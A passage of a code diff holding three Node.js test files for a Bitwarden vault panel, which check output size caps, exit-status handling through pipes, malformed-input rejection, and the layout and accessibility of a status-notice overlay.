`exit=${malformedOlderCli.status} stdout=${JSON.stringify(malformedOlderCli.stdout)} stderr=${JSON.stringify(malformedOlderCli.stderr)}`)
const fakeJqDir = path.join(tempDir, "failed-filter")
fs.mkdirSync(fakeJqDir)
fs.writeFileSync(path.join(fakeJqDir, "jq"),
`#!/bin/bash\nprintf '%s' '${FILTER_STDERR_MARKER}' >&2\nexit 7\n`, { mode: 0o755 })
const failedFilter = runFixture("[]", {
PATH: fakeJqDir + path.delimiter + testEnv.PATH
})
check("a failed jq filter exposes no raw diagnostic or partial output",
failedFilter.status === 1
&& failedFilter.stdout === ""
&& !failedFilter.stderr.includes(FILTER_STDERR_MARKER)
&& failedFilter.stderr === SAFE_DIAGNOSTIC
&& Buffer.byteLength(failedFilter.stderr) <= MAX_STDERR_BYTES,
`exit=${failedFilter.status} stdout=${JSON.stringify(failedFilter.stdout)} stderr=${JSON.stringify(failedFilter.stderr)}`)
const invocationPath = path.join(tempDir, "bw-invocations")
const invokedOnce = runFixture("[]", { QSBW_BW_INVOCATIONS: invocationPath })
const invocationCount = fs.existsSync(invocationPath)
? fs.readFileSync(invocationPath, "utf8").length : 0
check("one sanitized read invokes bw exactly once",
invokedOnce.status === 0 && invocationCount === 1,
`exit=${invokedOnce.status} invocations=${invocationCount}`)
// The prefix is valid JSON. Only the extra whitespace crosses the raw cap,
// proving upstream truncation is rejected even when jq could parse the bytes
// that made it through.
const oversizedInput = "[]" + " ".repeat(MAX_ITEMS_BYTES)
const inputLimited = runFixture(oversizedInput)
check("raw input beyond 16 MiB fails closed",
inputLimited.status !== 0 && inputLimited.stdout === "",
`exit=${inputLimited.status} stdout-bytes=${Buffer.byteLength(inputLimited.stdout)}`)
// jq replaces this invalid four-byte sequence with a three-byte U+FFFD.
// The raw stream is one byte over the cap, but a post-decoding measurement
// sees exactly the limit and would incorrectly accept it.
const invalidPrefix = Buffer.from('[{"type":6,"value":"')
const invalidUtf8 = Buffer.from([0xf4, 0x90, 0x80, 0x80])
const invalidSuffix = Buffer.from('"}]')
const invalidPadding = Buffer.alloc(
MAX_ITEMS_BYTES + 1 - invalidPrefix.length - invalidUtf8.length - invalidSuffix.length,
0x61)
const decodingBypass = runFixture(
Buffer.concat([invalidPrefix, invalidPadding, invalidUtf8, invalidSuffix]))
check("invalid UTF-8 cannot shrink an oversized raw input past the cap",
decodingBypass.status !== 0 && decodingBypass.stdout === "",
`exit=${decodingBypass.status} stdout=${JSON.stringify(decodingBypass.stdout)}`)
// The input fits just under its cap, but the {items,sshKeys} envelope pushes
// the sanitized document over the QML-facing ceiling.
const largeItem = { object: "item", id: "large", type: 1, name: "Large", notes: "" }
const emptyBytes = Buffer.byteLength(JSON.stringify([largeItem]))
largeItem.notes = "x".repeat(MAX_ITEMS_BYTES - emptyBytes - 8)
const nearLimitInput = JSON.stringify([largeItem])
check("the output-overflow fixture itself stays below the raw cap",
Buffer.byteLength(nearLimitInput) < MAX_ITEMS_BYTES,
String(Buffer.byteLength(nearLimitInput)))
const outputLimited = runFixture(nearLimitInput)
check("sanitized output beyond 16 MiB fails without partial stdout",
outputLimited.status !== 0 && outputLimited.stdout === "",
`exit=${outputLimited.status} stdout-bytes=${Buffer.byteLength(outputLimited.stdout)}`)
} finally {
fs.rmSync(tempDir, { recursive: true, force: true })
}
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,75 @@
#!/usr/bin/env node
// Transient status and error messages float over the panel instead of joining
// its content column. Their arrival must never change the height used by
// KeyboardPanel, which is what made every screen jump down and back up.
//
// node tests/status-notice.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const noticeSrc = fs.existsSync(path.join(__dirname, "..", "StatusNotice.qml"))
? fs.readFileSync(path.join(__dirname, "..", "StatusNotice.qml"), "utf8")
: ""
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const noticeAt = panelSrc.indexOf("id: statusNotice")
const noticeUse = noticeAt === -1 ? "" : panelSrc.slice(noticeAt, noticeAt + 2000)
check("the status notice is a sibling overlay rather than a mainColumn child",
/^ StatusNotice \{\n id: statusNotice/m.test(panelSrc),
"expected statusNotice at PanelKeyCatcher child indentation")
check("the overlay is pinned inside the bottom of the panel",
/anchors\.bottom:\s*parent\.bottom/.test(noticeSrc)
&& /anchors\.horizontalCenter:\s*parent\.horizontalCenter/.test(noticeSrc)
&& /z:\s*[1-9][0-9]*/.test(noticeSrc),
noticeSrc)
check("the overlay never participates in panel height measurement",
/contentHeight:\s*panel\.fittedContentHeight\(mainColumn\.implicitHeight/.test(panelSrc)
&& !/implicitHeight:\s*statusNotice/.test(panelSrc),
"KeyboardPanel must continue to measure only mainColumn")
check("errors take priority over transient status text",
/showsError:\s*root\.errorMessage\s*!==\s*""/.test(noticeSrc)
&& /text:\s*root\.showsError\s*\?\s*root\.errorMessage\s*:\s*root\.statusMessage/.test(noticeSrc),
noticeSrc)
check("status text still yields to the sequential TOTP action",
/showsStatus:[^\n]*root\.statusMessage\s*!==\s*""[^\n]*!root\.statusSuppressed/.test(noticeSrc)
&& /statusSuppressed:\s*root\.totpFollowupActive/.test(noticeUse),
noticeSrc + "\n" + noticeUse)
check("long messages wrap within the panel",
/wrapMode:\s*Text\.Wrap/.test(noticeSrc), noticeSrc)
check("errors can be dismissed without hiding ordinary status updates",
/visible:\s*root\.showsError/.test(noticeSrc)
&& /onClicked:\s*root\.errorDismissed\(\)/.test(noticeSrc)
&& /onErrorDismissed:[\s\S]{0,400}root\.errorMessage = ""/.test(noticeUse),
noticeSrc + "\n" + noticeUse)
// An error the user can act on carries the action. A refused save is the case:
// the list is already back to what the vault holds, so the button is the way
// back to what was typed.
check("an error can offer a recovery alongside the dismiss",
/property string actionLabel: ""/.test(noticeSrc)
&& /signal actionRequested\(\)/.test(noticeSrc)
&& /visible: root\.showsError && root\.actionLabel !== ""/.test(noticeSrc),
noticeSrc)
check("the recovery is offered only when there is one",
/actionLabel: root\.failedSave \? "Reopen " \+ root\.failedSave\.name : ""/.test(noticeUse),
noticeUse)
check("dismissing the message discards the recovery with it",
/root\.failedSave = null\s*\n\s*root\.errorMessage = ""/.test(noticeUse),
"a Reopen button behind an invisible message is a button for nothing")
check("dynamic notices expose alert semantics to assistive technology",
/Accessible\.role:\s*Accessible\.AlertMessage/.test(noticeSrc)
&& /Accessible\.ignored:\s*!root\.shown/.test(noticeSrc)
&& /Accessible\.name:/.test(noticeSrc),
noticeSrc)
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,258 @@
#!/usr/bin/env node
// Verifies that all data streams read by the long-lived shell process
// are capped on the producer side to prevent unbounded buffering.
const fs = require("fs")
const path = require("path")
const os = require("os")
const { execFileSync, spawnSync } = require("child_process")
const Model = {}
const code = fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "")
new Function("exports", code + `
exports.listCommand = listCommand
exports.getItemCommand = getItemCommand
exports.listSendsCommand = listSendsCommand
exports.listFoldersCommand = listFoldersCommand
exports.listOrganizationsCommand = listOrganizationsCommand
exports.listOrgCollectionsCommand = listOrgCollectionsCommand
exports.getTotpCommand = getTotpCommand
exports.statusCommand = statusCommand
exports.generateCommand = generateCommand
exports.generateServeRequestCommand = generateServeRequestCommand
exports.createSendCommand = createSendCommand
exports.createItemCommand = createItemCommand
exports.editItemCommand = editItemCommand
exports.deleteItemCommand = deleteItemCommand
exports.createFolderCommand = createFolderCommand
exports.attachmentDownloadCommand = attachmentDownloadCommand
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
exports.associationsReadCommand = associationsReadCommand
exports.keyringLookupCommand = keyringLookupCommand
exports.keyringLookupMasterPasswordCommand = keyringLookupMasterPasswordCommand
exports.pinUnlockCommand = pinUnlockCommand
exports.dependencyCheckCommand = dependencyCheckCommand
exports.buildCappedCommand = buildCappedCommand
exports.syncCommand = syncCommand
exports.deleteSendCommand = deleteSendCommand
exports.settingWriteCommand = settingWriteCommand
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => {
if (ok) {
pass++
} else {
failures.push(`${label}\n ${detail}`)
}
}
const flat = (cmd) => (Array.isArray(cmd) ? cmd.join(" ") : String(cmd))
// 1. Vault item list stream is capped
const listCmd = Model.listCommand()
check("listCommand produces bash pipeline with head -c byte cap",
flat(listCmd).includes("bw list items") && flat(listCmd).includes("head -c 16777216"),
flat(listCmd))
check("listCommand caps diagnostic stderr stream",
flat(listCmd).includes("exec 2> >(head -c 8192 >&2)"),
flat(listCmd))
// 2. Vault item detail stream is capped
const getItemCmd = Model.getItemCommand("12345-abc")
check("getItemCommand caps item detail output to 4MB",
flat(getItemCmd).includes("bw get item -- 12345-abc") && flat(getItemCmd).includes("head -c 4194304"),
flat(getItemCmd))
check("getItemCommand caps stderr stream",
flat(getItemCmd).includes("exec 2> >(head -c 8192 >&2)"),
flat(getItemCmd))
// 3. Bitwarden send list stream is capped
const sendsCmd = Model.listSendsCommand()
check("listSendsCommand caps send list output to 8MB",
flat(sendsCmd).includes("bw send list") && flat(sendsCmd).includes("head -c 8388608"),
flat(sendsCmd))
// 4. Folder list stream is capped
const foldersCmd = Model.listFoldersCommand()
check("listFoldersCommand caps folder list output to 2MB",
flat(foldersCmd).includes("bw list folders") && flat(foldersCmd).includes("head -c 2097152"),
flat(foldersCmd))
// 5. Organization list stream is capped
const orgsCmd = Model.listOrganizationsCommand()
check("listOrganizationsCommand caps org list output to 2MB",
flat(orgsCmd).includes("bw list organizations") && flat(orgsCmd).includes("head -c 2097152"),
flat(orgsCmd))
// 6. Organization collections stream is capped
const orgColsCmd = Model.listOrgCollectionsCommand("org-99")
check("listOrgCollectionsCommand caps collections output to 2MB",
flat(orgColsCmd).includes("bw list org-collections --organizationid org-99") && flat(orgColsCmd).includes("head -c 2097152"),
flat(orgColsCmd))
// 7. Status and unlock streams are capped
const statusCmd = Model.statusCommand()
check("statusCommand caps status json output to 64KB",
flat(statusCmd).includes("bw status") && flat(statusCmd).includes("head -c 65536"),
flat(statusCmd))
// 8. TOTP code stream is capped
const totpCmd = Model.getTotpCommand("item-55")
check("getTotpCommand caps totp output to 4KB",
flat(totpCmd).includes("bw get totp --raw -- item-55") && flat(totpCmd).includes("head -c 4096"),
flat(totpCmd))
// 9. Session handoff file reader is size-bounded
const handoffCmd = Model.sessionHandoffReadCommand(true)
check("sessionHandoffReadCommand bounds file reading with head -c 4096",
flat(handoffCmd).includes("head -c 4096") && !flat(handoffCmd).includes("cat \"$f\""),
flat(handoffCmd))
// 10. Associations file reader is size-bounded
const assocCmd = Model.associationsReadCommand()
check("associationsReadCommand bounds file reading with head -c 1048576",
flat(assocCmd).includes("head -c 1048576") && !flat(assocCmd).includes("cat \"$ASSOC_FILE\""),
flat(assocCmd))
// 11. Keyring lookups and PIN unlock are size-bounded
const keyringCmd = Model.keyringLookupCommand()
check("keyringLookupCommand bounds secret-tool output to 4KB",
flat(keyringCmd).includes("head -c 4096") && flat(keyringCmd).includes("head -c 128"),
flat(keyringCmd))
const pinCmd = Model.pinUnlockCommand()
check("pinUnlockCommand bounds both ciphertext lookup and decrypted password",
flat(pinCmd).includes("head -c 8192") && flat(pinCmd).includes("head -c 4096"),
flat(pinCmd))
// 12. Password generator output is capped
const genPassCmd = Model.generateCommand({ length: 32 })
check("generateCommand caps password output to 4KB",
flat(genPassCmd).includes("bw generate") && flat(genPassCmd).includes("head -c 4096"),
flat(genPassCmd))
// 12b. Generator serve request stream is capped on the producer side
const serveReqCmd = Model.generateServeRequestCommand({ length: 24 })
check("generateServeRequestCommand bounds loopback response stream with head -c 65536",
flat(serveReqCmd).includes("curl -q -s -S") && flat(serveReqCmd).includes("head -c 65536"),
flat(serveReqCmd))
// 13. Create/Edit/Delete commands are capped
const createFolderCmd = Model.createFolderCommand("test")
check("createFolderCommand caps stderr and response",
flat(createFolderCmd).includes("exec 2> >(head -c 8192 >&2)") && flat(createFolderCmd).includes("head -c 65536"),
flat(createFolderCmd))
// The save commands cap their response the way sanitizedListCommand does:
// read one byte past the ceiling, then refuse anything that reached it. A
// bare `head -c <max>` cannot tell a stream that fit from one that was cut,
// and these two now carry a sanitising stage whose output must be whole or
// discarded. See the same idiom asserted for the item list in ssh-items.
const capsResponse = cmd =>
flat(cmd).includes("head -c 65537") && flat(cmd).includes('-gt 65536')
const createItemCmd = Model.createItemCommand({ organizationId: "org-1" })
check("createItemCommand caps stderr and response",
flat(createItemCmd).includes("exec 2> >(head -c 8192 >&2)") && capsResponse(createItemCmd),
flat(createItemCmd))
const editItemCmd = Model.editItemCommand("item-1")
check("editItemCommand caps stderr and response",
flat(editItemCmd).includes("exec 2> >(head -c 8192 >&2)") && capsResponse(editItemCmd),
flat(editItemCmd))
const deleteItemCmd = Model.deleteItemCommand("item-1")
check("deleteItemCommand caps stderr and response",
flat(deleteItemCmd).includes("exec 2> >(head -c 8192 >&2)") && flat(deleteItemCmd).includes("head -c 65536"),
flat(deleteItemCmd))
// 14. Live execution check: verify head -c truncation behaviour on huge stream
const hugeScript = "yes 'unbounded streaming line' | head -c 1024"
const hugeOut = execFileSync("bash", ["-c", hugeScript], { encoding: "utf8" })
check("head -c strictly bounds incoming stream to exact byte count",
Buffer.byteLength(hugeOut, "utf8") === 1024,
`Expected 1024 bytes, got ${Buffer.byteLength(hugeOut, "utf8")}`)
// 15. Live execution check: verify stderr bounding does not corrupt stdout
const stderrScript = "exec 2> >(head -c 100 >&2); echo 'stdout data'; (echo 'short stderr error' >&2)"
const proc = execFileSync("bash", ["-c", stderrScript], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] })
check("capped stderr does not leak into stdout",
proc.trim() === "stdout data",
`stdout was: ${JSON.stringify(proc)}`)
// 16. A cap must not swallow the producer's exit status. `head -c` closes the
// pipe and exits 0, so without `pipefail` every failing bw command would reach
// the panel as a success and the UI would report "Item deleted" for a delete
// that never happened.
const cappedBuilders = [
["listCommand", Model.listCommand()],
["getItemCommand", Model.getItemCommand("x")],
["deleteItemCommand", Model.deleteItemCommand("x")],
["deleteSendCommand", Model.deleteSendCommand("x")],
["syncCommand", Model.syncCommand()],
["createItemCommand", Model.createItemCommand({})],
["editItemCommand", Model.editItemCommand("x")],
["createSendCommand", Model.createSendCommand()],
["createFolderCommand", Model.createFolderCommand("x")],
["settingWriteCommand", Model.settingWriteCommand("autoLockMinutes", 5, "int")],
]
for (const [name, cmd] of cappedBuilders) {
check(`${name} restores the producer's exit status with pipefail`,
flat(cmd).includes("set -o pipefail"), flat(cmd))
check(`${name} does not report truncation (SIGPIPE 141) as a failure`,
flat(cmd).includes('case "$__rc" in 141) __rc=0 ;; esac'), flat(cmd))
}
// 17. Live execution check, with a stub `bw`: a failing command must exit
// non-zero through the cap, and a stream large enough to hit the cap must not
// be mistaken for a failure.
const stubDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-stream-"))
fs.writeFileSync(path.join(stubDir, "bw"), [
"#!/bin/bash",
'case "$*" in',
' *boom*) echo "error: bad request" >&2; exit 1 ;;',
" *big*) yes '{\"x\":\"aaaaaaaaaaaaaaaaaaaa\"}' ;;",
" *) echo '{\"ok\":true}' ;;",
"esac",
"",
].join("\n"))
fs.chmodSync(path.join(stubDir, "bw"), 0o755)
const stubEnv = Object.assign({}, process.env, { PATH: stubDir + path.delimiter + process.env.PATH })
const runScript = (script) => {
const r = spawnSync("bash", ["-c", script], {
env: stubEnv, encoding: "utf8", maxBuffer: 64 * 1024 * 1024,
})
return { code: r.status, stdout: r.stdout || "", stderr: r.stderr || "" }
}
const failRun = runScript(Model.deleteItemCommand("boom")[2])
check("a failing bw command exits non-zero through the cap",
failRun.code === 1, `exit ${failRun.code}, stderr ${JSON.stringify(failRun.stderr)}`)
check("a failing bw command still delivers its stderr to the panel",
failRun.stderr.includes("bad request"), JSON.stringify(failRun.stderr))
const okRun = runScript(Model.deleteItemCommand("fine")[2])
check("a succeeding bw command exits zero through the cap",
okRun.code === 0, `exit ${okRun.code}`)
// `bw big` never stops printing: only the cap ends it, and the SIGPIPE that
// follows must not be reported as a failed vault read.
const truncRun = runScript(Model.getItemCommand("big")[2])
check("hitting the cap is not reported as a failure",
truncRun.code === 0, `exit ${truncRun.code}`)
check("hitting the cap truncates at exactly the limit",
Buffer.byteLength(truncRun.stdout, "utf8") === 4 * 1024 * 1024,
`got ${Buffer.byteLength(truncRun.stdout, "utf8")} bytes`)
fs.rmSync(stubDir, { recursive: true, force: true })
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}